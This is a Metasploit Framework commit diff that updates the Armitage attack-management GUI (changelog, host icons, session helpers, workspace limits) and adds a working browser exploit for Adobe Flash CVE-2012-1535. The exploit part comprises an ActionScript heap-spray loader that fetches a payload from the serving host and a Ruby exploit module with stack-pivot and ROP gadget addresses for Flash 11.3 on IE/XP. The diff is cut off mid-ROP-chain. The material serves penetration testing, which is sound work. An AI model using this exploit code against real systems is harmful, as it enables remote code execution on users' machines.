diff --git a/data/armitage/armitage.jar b/data/armitage/armitage.jar index 5d218bbe6d..606e034151 100755 Binary files a/data/armitage/armitage.jar and b/data/armitage/armitage.jar differ diff --git a/data/armitage/cortana.jar b/data/armitage/cortana.jar index fce472a20c..bfb5c0208b 100644 Binary files a/data/armitage/cortana.jar and b/data/armitage/cortana.jar differ diff --git a/data/armitage/whatsnew.txt b/data/armitage/whatsnew.txt index 62edb02be5..7b1512f76a 100755 --- a/data/armitage/whatsnew.txt +++ b/data/armitage/whatsnew.txt @@ -1,6 +1,30 @@ Armitage Changelog ================== +16 Aug 12 (tested against msf r15753) +---------- +- Dynamic workspaces now removes closed services from its set of + hosts matching certain open ports. +- Cortana console now reports a clear error message a built-in + command is executed without the right number of arguments. +- Added host icons for Android and iOS. You may now set these + operating systems by going to [host] -> Host -> Operating System +- Armitage now shows the client-side exploit dialog for any exploit + that does not target an RHOST (for example, windows/smb/smb_relay) +- Added support for remote exploits that use RHOSTS over RHOST + (this includes the new windows/local/current_user_psexec) +- Added a helper for setting the SESSION option + +Cortana Updates (for scripters) +-------- +- s_cmd no longer times out after 60s. It will wait forever for + a command to complete now. +- added shell_read event which fires when a shell s_cmd comes + back with intermediate output. +- fixed a potential deadlock with &open_console_tab +- scripts now have the ability to redefine the max size of a + workspace: db_workspace(%(size => #####)); + 2 Aug 12 (tested again msf r15698) -------- - Armitage now reports vulnerability module and descriptions diff --git a/data/exploits/CVE-2012-1535/trigger.swf b/data/exploits/CVE-2012-1535/trigger.swf new file mode 100755 index 0000000000..53352fd37e Binary files /dev/null and b/data/exploits/CVE-2012-1535/trigger.swf differ diff --git a/external/source/armitage/resources/about.html b/external/source/armitage/resources/about.html index 8f1644b195..73da637a0d 100644 --- a/external/source/armitage/resources/about.html +++ b/external/source/armitage/resources/about.html @@ -3,7 +3,7 @@

Armitage 1.44

An attack management tool for Metasploit® -
Release: 2 Aug 12

+
Release: 16 Aug 12


Developed by:

diff --git a/external/source/armitage/resources/android.png b/external/source/armitage/resources/android.png new file mode 100644 index 0000000000..078fedf5b9 Binary files /dev/null and b/external/source/armitage/resources/android.png differ diff --git a/external/source/armitage/resources/ios.png b/external/source/armitage/resources/ios.png new file mode 100644 index 0000000000..aeb2a4f787 Binary files /dev/null and b/external/source/armitage/resources/ios.png differ diff --git a/external/source/armitage/scripts-cortana/internal-ui.sl b/external/source/armitage/scripts-cortana/internal-ui.sl index 20699488a7..498646fe41 100644 --- a/external/source/armitage/scripts-cortana/internal-ui.sl +++ b/external/source/armitage/scripts-cortana/internal-ui.sl @@ -48,7 +48,7 @@ sub open_console_tab { quit(); } - _call_("&setupConsoleStyle", $tab); + _call_later_("&setupConsoleStyle", $tab); return $console; }, $title => $1, $log_folder => $2, $popup_hook => $3, $q_activity => $4); } diff --git a/external/source/armitage/scripts/armitage.sl b/external/source/armitage/scripts/armitage.sl index 314ac8a7ef..b9a7354a6b 100644 --- a/external/source/armitage/scripts/armitage.sl +++ b/external/source/armitage/scripts/armitage.sl @@ -63,6 +63,9 @@ sub showHost { push(@overlay, 'resources/windows7.png'); } } + else if ($os eq "Apple iOS" || "*AppleTV*" iswm $os) { + push(@overlay, 'resources/ios.png'); + } else if ($os eq "Mac OS X" || "*apple*" iswm lc($os) || "*mac*os*x*" iswm lc($os)) { push(@overlay, 'resources/macosx.png'); } @@ -81,6 +84,9 @@ sub showHost { else if ("*VMware*" iswm $os) { push(@overlay, 'resources/vmware.png'); } + else if ($os eq "Android") { + push(@overlay, 'resources/android.png'); + } else if ($purpose eq "firewall") { return overlay_images(@('resources/firewall.png')); } diff --git a/external/source/armitage/scripts/attacks.sl b/external/source/armitage/scripts/attacks.sl index 47b2d59dae..efdfc42e51 100644 --- a/external/source/armitage/scripts/attacks.sl +++ b/external/source/armitage/scripts/attacks.sl @@ -397,6 +397,9 @@ sub attack_dialog { if ($key eq "RHOST") { $value["default"] = join(", ", $3); } + else if ($key eq "RHOSTS") { + $value["default"] = join(", ", $3); + } [$model _addEntry: %(Option => $key, Value => $value["default"], @@ -454,32 +457,61 @@ sub attack_dialog { $options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0]; - thread(lambda({ - local('$host $hosts'); - $hosts = split(', ', $options["RHOST"]); + if ('RHOSTS' in $options) { + thread(lambda({ + local('$hosts $host'); + $hosts = split(', ', $options["RHOSTS"]); + + if (size($hosts) == 0) { + showError("Please specify an RHOSTS value"); + return; + } + $options["PAYLOAD"] = best_payload($hosts[0], $exploit, [$b isSelected]); - foreach $host ($hosts) { - $options["PAYLOAD"] = best_payload($host, $exploit, [$b isSelected]); - $options["RHOST"] = $host; if ([$b isSelected]) { $options["LPORT"] = randomPort(); } - ($exploit, $host, $options) = filter_data("exploit", $exploit, $host, $options); - - if (size($hosts) >= 4) { - call_async($client, "module.execute", "exploit", $exploit, $options); + # give scripts a chance to filter this data. + foreach $host ($hosts) { + ($exploit, $host, $options) = filter_data("exploit", $exploit, $host, $options); } - else { - module_execute("exploit", $exploit, copy($options)); - } - yield 100; - } + + module_execute("exploit", $exploit, copy($options)); - if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) { - showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s")); - } - }, $options => copy($options), \$exploit, \$b)); + if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) { + showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s")); + } + }, $options => copy($options), \$exploit, \$b)); + } + else { + thread(lambda({ + local('$host $hosts'); + $hosts = split(', ', $options["RHOST"]); + + foreach $host ($hosts) { + $options["PAYLOAD"] = best_payload($host, $exploit, [$b isSelected]); + $options["RHOST"] = $host; + if ([$b isSelected]) { + $options["LPORT"] = randomPort(); + } + + ($exploit, $host, $options) = filter_data("exploit", $exploit, $host, $options); + + if (size($hosts) >= 4) { + call_async($client, "module.execute", "exploit", $exploit, $options); + } + else { + module_execute("exploit", $exploit, copy($options)); + } + yield 100; + } + + if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) { + showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s")); + } + }, $options => copy($options), \$exploit, \$b)); + } if (!isShift($1)) { [$dialog setVisible: 0]; @@ -615,6 +647,35 @@ sub addFileListener { $actions["SigningKey"] = $actions["*FILE*"]; $actions["WORDLIST"] = $actions["*FILE*"]; + # set up an action to choose a session + $actions["SESSION"] = { + local('@data $sid $data $host $hdata $temp $tablef'); + + # obtain a list of sessions + foreach $host (keys(%hosts)) { + foreach $sid => $data (getSessions($host)) { + $temp = copy($data); + $temp['sid'] = $sid; + push(@data, $temp); + } + } + + # sort the session data + @data = sort({ return $1['sid'] <=> $2['sid']; }, @data); + + # update the table widths + $tablef = { + [[$1 getColumn: "sid"] setPreferredWidth: 100]; + [[$1 getColumn: "session_host"] setPreferredWidth: 300]; + [[$1 getColumn: "info"] setPreferredWidth: 1024]; + }; + + # let the user choose a session + quickListDialog("Choose a session", "Select", @("sid", "sid", "session_host", "info"), @data, $width => 640, $height => 240, lambda({ + [$call : $1]; + }, $call => $4), \$tablef); + }; + # set up an action to pop up a file chooser for different file type values. $actions["RHOST"] = { local('$title $temp'); diff --git a/external/source/armitage/scripts/gui.sl b/external/source/armitage/scripts/gui.sl index 246875b1f8..009e5ea432 100644 --- a/external/source/armitage/scripts/gui.sl +++ b/external/source/armitage/scripts/gui.sl @@ -432,13 +432,17 @@ sub setupTable { # creates a list dialog, # $1 = title, $2 = button text, $3 = columns, $4 = rows, $5 = callback sub quickListDialog { - local('$dialog $panel $table $row $model $button $sorter $after $a'); + local('$dialog $panel $table $row $model $button $sorter $after $a $tablef'); $dialog = dialog($1, $width, $height); $panel = [new JPanel]; [$panel setLayout: [new BorderLayout]]; ($table, $model) = setupTable($3[0], sublist($3, 1), $4); [$panel add: [new JScrollPane: $table], [BorderLayout CENTER]]; + + if ($tablef !is $null) { + [$tablef: $table, $model]; + } $button = [new JButton: $2]; [$button addActionListener: lambda({ diff --git a/external/source/armitage/scripts/menus.sl b/external/source/armitage/scripts/menus.sl index eb9a2959ee..be2e78c1f2 100644 --- a/external/source/armitage/scripts/menus.sl +++ b/external/source/armitage/scripts/menus.sl @@ -36,6 +36,8 @@ sub host_selected_items { $h = menu($1, "Host", 'H'); $o = menu($h, "Operating System", 'O'); + item($o, "Android", 'A', setHostValueFunction($2, "os_name", "Android")); + item($o, "Apple iOS", 'i', setHostValueFunction($2, "os_name", "Apple iOS")); item($o, "Cisco IOS", 'C', setHostValueFunction($2, "os_name", "Cisco IOS")); item($o, "FreeBSD", 'F', setHostValueFunction($2, "os_name", "FreeBSD")); item($o, "Linux", 'L', setHostValueFunction($2, "os_name", "Linux")); diff --git a/external/source/armitage/scripts/modules.sl b/external/source/armitage/scripts/modules.sl index bc56541c56..85bfcf92be 100644 --- a/external/source/armitage/scripts/modules.sl +++ b/external/source/armitage/scripts/modules.sl @@ -19,9 +19,24 @@ sub createModuleBrowser { return $split; } +sub isClientside { + local('$options'); + $options = call($mclient, "module.options", "exploit", $1); + return iff ('RHOST' in $options || 'RHOSTS' in $options, $null, 1); +} + sub showModulePopup { + local('$event $type $path'); + ($event, $type, $path) = @_; + + # we go through this hassle because &isClientside calls module.options which could block + # and freeze the UI--we don't want to do that... + thread(lambda(&_showModulePopup, \$event, \$type, \$path)); +} + +sub _showModulePopup { local('$menu'); - if (($2 eq "exploit" && "*/browser/*" !iswm $3 && "*/fileformat/*" !iswm $3) || ($2 eq "auxiliary" && "*_login" iswm $3)) { + if (($type eq "exploit" && !isClientside($path)) || ($type eq "auxiliary" && "*_login" iswm $path)) { $menu = [new JPopupMenu]; item($menu, "Relevant Targets", 'R', lambda({ thread(lambda({ @@ -61,14 +76,18 @@ sub showModulePopup { showError("I'm sorry, this option doesn't work for\nthis module."); } }, \$module, \$type)); - }, $module => $3, $type => $2)); + }, $module => $path, \$type)); - setupMenu($menu, "module", @($2, $3)); + setupMenu($menu, "module", @($type, $path)); - [$menu show: [$1 getSource], [$1 getX], [$1 getY]]; + dispatchEvent(lambda({ + [$menu show: [$event getSource], [$event getX], [$event getY]]; + }, \$menu, \$event)); } else { - installMenu($1, "module", @($2, $3)); + dispatchEvent(lambda({ + installMenu($event, "module", @($type, $path)); + }, \$type, \$path, \$event)); } } @@ -79,7 +98,7 @@ sub moduleAction { thread(lambda({ if ($path in @exploits || $path in @auxiliary || $path in @payloads || $path in @post) { if ($type eq "exploit") { - if ('*/browser/*' iswm $path || '*/fileformat/*' iswm $path) { + if (isClientside($path)) { launch_dialog($path, $type, $path, 1, $hosts); } else { diff --git a/external/source/armitage/scripts/preferences.sl b/external/source/armitage/scripts/preferences.sl index 7c40a723f1..37abf4698f 100644 --- a/external/source/armitage/scripts/preferences.sl +++ b/external/source/armitage/scripts/preferences.sl @@ -152,7 +152,7 @@ sub updatePrefModel { foreach $key => $value (convertAll($preferences)) { ($component, $name, $type) = split('\\.', $key); - if ($type eq "color" || $type eq "shortcut" || $type eq "font" || $type eq "folder") { + if ($type eq "color" || $type eq "shortcut" || $type eq "font" || $type eq "folder" || $type eq "file") { $type = "$type \u271A"; } @@ -220,6 +220,14 @@ sub createPreferencesTab { [$model fireListeners]; } } + else if ($type eq "file") { + local('$file'); + $file = chooseFile(); + if ($file !is $null) { + [$model setValueAtRow: $row, "value", $file]; + [$model fireListeners]; + } + } else if ($type eq "font") { local('$dialog $select $style $size $ok $cancel $preview $graphics $l $font $_style'); $dialog = dialog("Choose a font", 640, 240); diff --git a/external/source/armitage/src/cortana/Cortana.java b/external/source/armitage/src/cortana/Cortana.java index ec4214b8ec..7e1c7079f9 100644 --- a/external/source/armitage/src/cortana/Cortana.java +++ b/external/source/armitage/src/cortana/Cortana.java @@ -278,6 +278,12 @@ public class Cortana implements Loadable, RuntimeWarningWatcher { states.add("askon"); states.add("askoff"); + Set cmds = new HashSet(); + cmds.addAll(states); + cmds.add("unload"); + cmds.add("load"); + cmds.add("reload"); + if ("ls".equals(text)) { p(""); p("Scripts"); @@ -292,6 +298,9 @@ public class Cortana implements Loadable, RuntimeWarningWatcher { } p(""); } + else if (cmds.contains(data[0]) && data.length != 2) { + p("[-] Missing arguments"); + } else if (states.contains(data[0]) && data.length == 2) { String script = findScript(data[1]); if (script == null) { diff --git a/external/source/armitage/src/cortana/data/DataManager.java b/external/source/armitage/src/cortana/data/DataManager.java index d1a535b92a..6a9319b7e3 100644 --- a/external/source/armitage/src/cortana/data/DataManager.java +++ b/external/source/armitage/src/cortana/data/DataManager.java @@ -135,12 +135,17 @@ public class DataManager implements ArmitageTimerClient, Loadable, Function, Pre Map workspace = new HashMap(); Object[] argz = new Object[1]; - if (args.size() == 4) { + if (args.size() >= 4) { String hosts = BridgeUtilities.getString(args, ""); String ports = BridgeUtilities.getString(args, ""); String os = BridgeUtilities.getString(args, ""); String session = BridgeUtilities.getString(args, ""); + if (!args.isEmpty()) { + String size = BridgeUtilities.getString(args, "512"); + workspace.put("size", size); + } + if (!hosts.equals("")) workspace.put("hosts", hosts); diff --git a/external/source/armitage/src/cortana/metasploit/ShellBridge.java b/external/source/armitage/src/cortana/metasploit/ShellBridge.java index dad6364fde..85db479186 100644 --- a/external/source/armitage/src/cortana/metasploit/ShellBridge.java +++ b/external/source/armitage/src/cortana/metasploit/ShellBridge.java @@ -28,6 +28,27 @@ public class ShellBridge implements Loadable, Function, ShellSession.ShellCallba public SleepClosure function; } + public void commandUpdate(String session, Object token, String output) { + if (!(token instanceof ShellToken)) + return; + + ScriptInstance script = ((ShellToken)token).script; + String command = ((ShellToken)token).command; + SleepClosure function = ((ShellToken)token).function; + + Stack args = new Stack(); + args.push(FilterManager.convertAll(output)); + args.push(SleepUtils.getScalar(command)); + args.push(SleepUtils.getScalar(session)); + + if (function == null) { + events.fireEvent("shell_read", args, script); + } + else { + SleepUtils.runCode(function, "read", script, args); + } + } + public void commandComplete(String session, Object token, String output) { if (!(token instanceof ShellToken)) return; diff --git a/external/source/armitage/src/cortana/metasploit/ShellSession.java b/external/source/armitage/src/cortana/metasploit/ShellSession.java index 84aa9bdc71..f79f752511 100644 --- a/external/source/armitage/src/cortana/metasploit/ShellSession.java +++ b/external/source/armitage/src/cortana/metasploit/ShellSession.java @@ -25,6 +25,7 @@ public class ShellSession implements Runnable { public static interface ShellCallback { public void commandComplete(String session, Object token, String response); + public void commandUpdate(String session, Object token, String response); } public void addListener(ShellCallback l) { @@ -33,13 +34,17 @@ public class ShellSession implements Runnable { } } - public void fireEvent(Command command, String output) { + public void fireEvent(Command command, String output, boolean done) { Iterator i; synchronized (this) { i = new LinkedList(listeners).iterator(); } + while (i.hasNext()) { - ((ShellCallback)i.next()).commandComplete(session, command != null ? command.token : null, output); + if (done) + ((ShellCallback)i.next()).commandComplete(session, command != null ? command.token : null, output); + else + ((ShellCallback)i.next()).commandUpdate(session, command != null ? command.token : null, output); } } @@ -68,25 +73,28 @@ public class ShellSession implements Runnable { /* read until we encounter AAAAAAAAAA */ StringBuffer output = new StringBuffer(); - /* loop for 60s trying to read output... give up after 60s, some commands may simply take this long */ - for (int x = 0; x < 600; x++) { + /* loop forever waiting for response to come back. If session is dead + then this loop will break with an exception */ + while (true) { response = readResponse(); String data = (response.get("data") + ""); + if (data.length() > 0) { if (data.endsWith(marker)) { data = data.substring(0, data.length() - marker.length()); + fireEvent(c, data, false); output.append(data); - fireEvent(c, output.toString()); + fireEvent(c, output.toString(), true); return; } else { + fireEvent(c, data, false); output.append(data); } } Thread.sleep(100); } - fireEvent(c, output.toString()); } catch (Exception ex) { System.err.println(session + " -> " + c.text + " ( " + response + ")"); diff --git a/external/source/armitage/src/cortana/support/Shared.java b/external/source/armitage/src/cortana/support/Shared.java index 0c0bb62a81..c1c1c928b3 100644 --- a/external/source/armitage/src/cortana/support/Shared.java +++ b/external/source/armitage/src/cortana/support/Shared.java @@ -16,6 +16,7 @@ public class Shared implements Function, Loadable { the armitage function must register itself though */ script.getScriptEnvironment().getEnvironment().put("&_call_", this); script.getScriptEnvironment().getEnvironment().put("&_call_async_", this); + script.getScriptEnvironment().getEnvironment().put("&_call_later_", this); } public void scriptUnloaded(ScriptInstance script) { @@ -38,6 +39,16 @@ public class Shared implements Function, Loadable { }).start(); return SleepUtils.getEmptyScalar(); } + else if (name.equals("&_call_later_")) { + final SleepClosure f = (SleepClosure)values.get(function); + final Stack argz = EventManager.shallowCopy(args); + javax.swing.SwingUtilities.invokeLater(new Runnable() { + public void run() { + SleepUtils.runCode(f, function, f.getOwner(), argz); + } + }); + return SleepUtils.getEmptyScalar(); + } } throw new RuntimeException("'" + function + "' does not exist"); diff --git a/external/source/armitage/src/msf/DatabaseImpl.java b/external/source/armitage/src/msf/DatabaseImpl.java index 8556254e59..ba7b330d59 100644 --- a/external/source/armitage/src/msf/DatabaseImpl.java +++ b/external/source/armitage/src/msf/DatabaseImpl.java @@ -19,6 +19,12 @@ public class DatabaseImpl implements RpcConnection { protected int hindex = 0; protected int sindex = 0; + /* define the maximum hosts in a workspace */ + protected int maxhosts = 512; + + /* define the maximum services in a workspace */ + protected int maxservices = 512 * 24; + public void resetHostsIndex() { hindex = 0; queries = build(); @@ -186,8 +192,8 @@ public class DatabaseImpl implements RpcConnection { /* this is an optimization. If we have a network or OS filter, we need to pull back all host/service records and filter them here. If we do not have these types of filters, then we can let the database do the heavy lifting and limit the size of the final result there. */ - int limit1 = rFilter == null && oFilter == null ? 512 : 30000; - int limit2 = rFilter == null && oFilter == null ? 12288 : 100000; + int limit1 = rFilter == null && oFilter == null ? maxhosts : 30000; + int limit2 = rFilter == null && oFilter == null ? maxservices : 100000; temp.put("db.creds", "SELECT DISTINCT creds.*, hosts.address as host, services.name as sname, services.port as port, services.proto as proto FROM creds, services, hosts WHERE services.id = creds.service_id AND hosts.id = services.host_id AND hosts.workspace_id = " + workspaceid); @@ -226,10 +232,10 @@ public class DatabaseImpl implements RpcConnection { Map result = new HashMap(); if (methodName.equals("db.services")) { - result.put(methodName.substring(3), filterByRoute(executeQuery(query), 12288)); + result.put(methodName.substring(3), filterByRoute(executeQuery(query), maxservices)); } else if (methodName.equals("db.hosts")) { - result.put(methodName.substring(3), filterByRoute(executeQuery(query), 512)); + result.put(methodName.substring(3), filterByRoute(executeQuery(query), maxhosts)); } else { result.put(methodName.substring(3), executeQuery(query)); @@ -335,6 +341,15 @@ public class DatabaseImpl implements RpcConnection { //srvcs.add("sessions.host_id = hosts.id AND sessions.closed_at IS NULL"); } + if (values.containsKey("size")) { + try { + maxhosts = Integer.parseInt(values.get("size") + ""); + maxservices = maxhosts * 24; + } + catch (Exception ex) { + } + } + if (values.containsKey("hosts") && (values.get("hosts") + "").length() > 0) { String h = values.get("hosts") + ""; if (!h.matches("[0-9a-fA-F\\.:\\%\\_/, ]+")) { @@ -362,6 +377,7 @@ public class DatabaseImpl implements RpcConnection { //ports2.add("s.port = " + p[x]); } hosts.add("services.host_id = hosts.id"); + hosts.add("services.state = 'open'"); hosts.add("(" + join(ports, " OR ") + ")"); } diff --git a/external/source/armitage/src/ui/ATable.java b/external/source/armitage/src/ui/ATable.java index 9459f3654c..35b294fbc4 100644 --- a/external/source/armitage/src/ui/ATable.java +++ b/external/source/armitage/src/ui/ATable.java @@ -23,6 +23,7 @@ public class ATable extends JTable { specialitems.add("SigningKey"); specialitems.add("SigningCert"); specialitems.add("WORDLIST"); + specialitems.add("SESSION"); return new TableCellRenderer() { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { diff --git a/external/source/armitage/whatsnew.txt b/external/source/armitage/whatsnew.txt index 62edb02be5..7b1512f76a 100644 --- a/external/source/armitage/whatsnew.txt +++ b/external/source/armitage/whatsnew.txt @@ -1,6 +1,30 @@ Armitage Changelog ================== +16 Aug 12 (tested against msf r15753) +---------- +- Dynamic workspaces now removes closed services from its set of + hosts matching certain open ports. +- Cortana console now reports a clear error message a built-in + command is executed without the right number of arguments. +- Added host icons for Android and iOS. You may now set these + operating systems by going to [host] -> Host -> Operating System +- Armitage now shows the client-side exploit dialog for any exploit + that does not target an RHOST (for example, windows/smb/smb_relay) +- Added support for remote exploits that use RHOSTS over RHOST + (this includes the new windows/local/current_user_psexec) +- Added a helper for setting the SESSION option + +Cortana Updates (for scripters) +-------- +- s_cmd no longer times out after 60s. It will wait forever for + a command to complete now. +- added shell_read event which fires when a shell s_cmd comes + back with intermediate output. +- fixed a potential deadlock with &open_console_tab +- scripts now have the ability to redefine the max size of a + workspace: db_workspace(%(size => #####)); + 2 Aug 12 (tested again msf r15698) -------- - Armitage now reports vulnerability module and descriptions diff --git a/external/source/exploits/CVE-2012-1535/Main.as b/external/source/exploits/CVE-2012-1535/Main.as new file mode 100755 index 0000000000..e537c31427 --- /dev/null +++ b/external/source/exploits/CVE-2012-1535/Main.as @@ -0,0 +1,118 @@ +package { + import flash.text.engine.*; + import flash.utils.*; + import flash.display.*; + import flash.events.*; + import flash.net.*; + import flash.external.*; + + public class Main extends Sprite { + + private var FontClass:Class; + public var kbArray:ByteArray; + public var mbArray:ByteArray; + public var tmpArray:ByteArray; + public var allocs:Array; + private var shellcode:String; + private var urlLoader:URLLoader = new URLLoader(); + + public function Main():void{ + this.FontClass = Main_FontClass; + super(); + var path:String = "/pay.txt"; + var urlRequest:URLRequest = new URLRequest(path); + urlLoader.dataFormat = URLLoaderDataFormat.TEXT; + urlLoader.addEventListener(Event.COMPLETE, urlLoader_complete); + urlLoader.load(urlRequest); + } + + public function finishExploit(p:String):void{ + this.heapSpray(p); + this.TextBlock_createTextLineExample(); + } + + public function urlLoader_complete(evt:Event):void { + finishExploit(urlLoader.data); + } + + public function TextBlock_createTextLineExample():void{ + var _local1 = "Edit the world in hex."; + var _local2:FontDescription = new FontDescription("PSpop"); + _local2.fontLookup = FontLookup.EMBEDDED_CFF; + var _local3:ElementFormat = new ElementFormat(_local2); + _local3.fontSize = 16; + var _local4:TextElement = new TextElement(_local1, _local3); + var _local5:TextBlock = new TextBlock(); + _local5.content = _local4; + this.createLines(_local5); + } + + private function createLines(_arg1:TextBlock):void{ + var _local2:Number = 300; + var _local3:Number = 15; + var _local4:Number = 20; + var _local5:TextLine = _arg1.createTextLine(null, _local2); + while (_local5) { + _local5.x = _local3; + _local5.y = _local4; + _local4 = (_local4 + (_local5.height + 2)); + addChild(_local5); + _local5 = _arg1.createTextLine(_local5, _local2); + }; + } + + public function heapSpray(p:String):void{ + var _local1:uint; + _local1 = 0; + this.kbArray = new ByteArray(); + this.kbArray.endian = Endian.LITTLE_ENDIAN; + var _local4:String = p; + var _local5:ByteArray = this.hexToBin(_local4); + var _local6:uint = (_local4.length / 2); + + _local1 = 0; + while (_local1 < 0x0400) { + this.kbArray.writeByte(12); + _local1 = (_local1 + 1); + }; + + _local1 = 0; + this.mbArray = new ByteArray(); + this.mbArray.endian = Endian.LITTLE_ENDIAN; + while (_local1 < 0x0400) { + this.mbArray.writeBytes(this.kbArray, 0, this.kbArray.length); + _local1 = (_local1 + 1); + }; + _local1 = 0; + while (_local1 < 0x100000) { + this.mbArray.position = _local1; + this.mbArray.writeBytes(_local5, 0, _local5.length); + _local1 = (_local1 + 65536); + }; + _local1 = 0; + this.allocs = new Array(); + while (_local1 < 0x0200) { + this.tmpArray = new ByteArray(); + this.tmpArray.endian = Endian.LITTLE_ENDIAN; + this.tmpArray.writeBytes(this.mbArray, 0, this.mbArray.length); + this.allocs.push(this.tmpArray); + _local1 = (_local1 + 1); + }; + } + + private function hexToBin(_arg1:String):ByteArray{ + var _local5:String; + var _local2:ByteArray = new ByteArray(); + var _local3:uint = _arg1.length; + var _local4:uint; + _local2.endian = Endian.LITTLE_ENDIAN; + while (_local4 < _local3) { + _local5 = (_arg1.charAt(_local4) + _arg1.charAt((_local4 + 1))); + _local2.writeByte(parseInt(_local5, 16)); + _local4 = (_local4 + 2); + }; + return (_local2); + } + + } +} diff --git a/external/source/exploits/CVE-2012-1535/Main_FontClass.as b/external/source/exploits/CVE-2012-1535/Main_FontClass.as new file mode 100755 index 0000000000..0933bd93e5 --- /dev/null +++ b/external/source/exploits/CVE-2012-1535/Main_FontClass.as @@ -0,0 +1,14 @@ +package { + import mx.core.*; + + [Embed(source='PSpop.otf' + ,fontFamily ='PSpop' + ,fontStyle ='normal' + ,fontWeight ='normal' + ,embedAsCFF='true' + )] + public class Main_FontClass extends FontAsset { + + } +} + diff --git a/external/source/exploits/CVE-2012-1535/PSPop.otf b/external/source/exploits/CVE-2012-1535/PSPop.otf new file mode 100755 index 0000000000..51d73302b0 Binary files /dev/null and b/external/source/exploits/CVE-2012-1535/PSPop.otf differ diff --git a/lib/gemcache/ruby/1.9.1/bin/mdm_console b/lib/gemcache/ruby/1.9.1/bin/mdm_console index 86a91fd9e0..058ee70cb0 100755 --- a/lib/gemcache/ruby/1.9.1/bin/mdm_console +++ b/lib/gemcache/ruby/1.9.1/bin/mdm_console @@ -1,4 +1,4 @@ -#!/Users/shuckins/.rvm/rubies/ruby-1.9.3-p194/bin/ruby +#!/usr/bin/env ruby_noexec_wrapper # # This file was generated by RubyGems. # diff --git a/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.0.2.43DEV.gemspec b/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.0.2.43DEV.gemspec index 00bbe02eb8..a6525c2224 100644 --- a/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.0.2.43DEV.gemspec +++ b/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.0.2.43DEV.gemspec @@ -6,7 +6,7 @@ Gem::Specification.new do |s| s.required_rubygems_version = Gem::Requirement.new("> 1.3.1") if s.respond_to? :required_rubygems_version= s.authors = ["Trevor Rosen"] - s.date = "2012-08-15" + s.date = "2012-08-16" s.description = "Implements minimal ActiveRecord models and database helper code used in both the Metasploit Framework (MSF) and Metasploit commercial editions." s.email = ["trevor_rosen@rapid7.com"] s.executables = ["mdm_console"] diff --git a/modules/exploits/windows/browser/adobe_flash_otf_font.rb b/modules/exploits/windows/browser/adobe_flash_otf_font.rb new file mode 100644 index 0000000000..79d7c87d86 --- /dev/null +++ b/modules/exploits/windows/browser/adobe_flash_otf_font.rb @@ -0,0 +1,313 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => "Adobe Flash Player 11.3 Font Parsing Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in the ActiveX component of Adobe + Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF, + it is possible to gain arbitrary remote code execution under the context of the + user, as exploited in the wild. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Alexander Gavrun', #Through iDefense + 'sinn3r', + 'juan vazquez' + ], + 'References' => + [ + [ 'CVE', '2012-1535' ], + [ 'OSVDB', '84607'], + [ 'BID', '55009'], + [ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ], + [ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ], + [ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ] + ], + 'Payload' => + { + 'Space' => 1024 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # Tested successfully on: + # Flash 11.3.300.268 + # Flash 11.3.300.265 + # Flash 11.3.300.257 + [ 'Automatic', {} ], + [ + 'IE 6 on Windows XP SP3', + { + 'Rop' => nil + } + ], + [ + 'IE 7 on Windows XP SP3', + { + 'Rop' => nil + } + ], + [ + 'IE 8 on Windows XP SP3', + { + 'Rop' => true + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Aug 9 2012", + 'DefaultTarget' => 0)) + + register_options( + [ + OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]), + ], self.class) + end + + def nop + return make_nops(4).unpack("L")[0].to_i + end + + def get_payload(t, flash_version=nil) + if t['Rop'].nil? + p = [ + 0x0c0c0c0c, # mapped at 1e0d0000 + 0x0c0c0c0c, + 0x0c0c0c0c, # mapped at 1e0d0008 + ].pack("V*") + + p << payload.encoded + else + if datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/ + + print_status("Using Rop Chain For Flash: #{flash_version}") + stack_pivot = [ + 0x10004171, # POP EDI # POP ESI # RETN (1e0d0000) + 0x0c0c0c0c, + 0x1001d891, # xchg eax, esp # ret (1e0d0008) + ].pack("V*") + + rop = [ + 0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx) + 0x106e3384, # <- *&VirtualProtect() + 0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx) + 0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx) + 0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx) + 0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx) + 0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx) + 0x00000201, # <- change size to mark as executable if needed (-> ebx) + 0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx) + 0x10955000, # W pointer (lpOldProtect) (-> ecx) + 0x10649003, # POP EDI # RETN 